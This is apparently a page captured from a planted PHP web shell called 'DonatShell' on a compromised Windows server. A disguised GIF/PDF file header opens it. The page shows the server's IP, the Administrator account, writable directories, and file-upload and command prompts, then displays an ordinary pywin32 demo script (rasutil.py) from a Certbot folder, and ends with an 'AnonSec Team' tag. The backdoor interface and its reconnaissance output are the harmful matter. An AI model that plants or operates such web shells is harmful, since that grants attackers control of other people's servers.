GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/Certbot/pkgs/win32/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/Certbot/pkgs/win32/scripts/rasutil.py
# A demo of using the RAS API from Python
import sys
import win32ras

# The error raised if we can not
class ConnectionError(Exception):
	pass
	
def Connect(rasEntryName, numRetries = 5):
	"""Make a connection to the specified RAS entry.
	
	Returns a tuple of (bool, handle) on success.
	- bool is 1 if a new connection was established, or 0 is a connection already existed.
	- handle is a RAS HANDLE that can be passed to Disconnect() to end the connection.
	
	Raises a ConnectionError if the connection could not be established.
	"""
	assert numRetries > 0
	for info in win32ras.EnumConnections():
		if info[1].lower()==rasEntryName.lower():
			print("Already connected to", rasEntryName)
			return 0, info[0]

	dial_params, have_pw = win32ras.GetEntryDialParams(None, rasEntryName)
	if not have_pw:
		print("Error: The password is not saved for this connection")
		print("Please connect manually selecting the 'save password' option and try again")
		sys.exit(1)

	print("Connecting to", rasEntryName, "...")
	retryCount = numRetries
	while retryCount > 0:
		rasHandle, errCode = win32ras.Dial(None, None, dial_params, None)
		if win32ras.IsHandleValid(rasHandle):
			bValid = 1
			break
		print("Retrying...")
		win32api.Sleep(5000)
		retryCount = retryCount - 1
	
	if errCode:
		raise ConnectionError(errCode, win32ras.GetErrorString(errCode))
	return 1, rasHandle

def Disconnect(handle):
	if type(handle)==type(''): # have they passed a connection name?
		for info in win32ras.EnumConnections():
			if info[1].lower()==handle.lower():
				handle = info[0]
				break
		else:
			raise ConnectionError(0, "Not connected to entry '%s'" % handle)

	win32ras.HangUp(handle)

usage="""rasutil.py - Utilities for using RAS

Usage:
  rasutil [-r retryCount] [-c rasname] [-d rasname]
  
  -r retryCount - Number of times to retry the RAS connection
  -c rasname - Connect to the phonebook entry specified by rasname
  -d rasname - Disconnect from the phonebook entry specified by rasname
"""

def Usage(why):
	print(why)
	print(usage)
	sys.exit(1)
	
if __name__=='__main__':
	import getopt
	try:
		opts, args = getopt.getopt(sys.argv[1:], "r:c:d:")
	except getopt.error as why:
		Usage(why)
	retries = 5
	if len(args) != 0:
		Usage("Invalid argument")

	for opt, val in opts:
		if opt=='-c':
			Connect(val, retries)
		if opt=='-d':
			Disconnect(val)
		if opt=='-r':
			retries = int(val)

Anon7 - 2022
AnonSec Team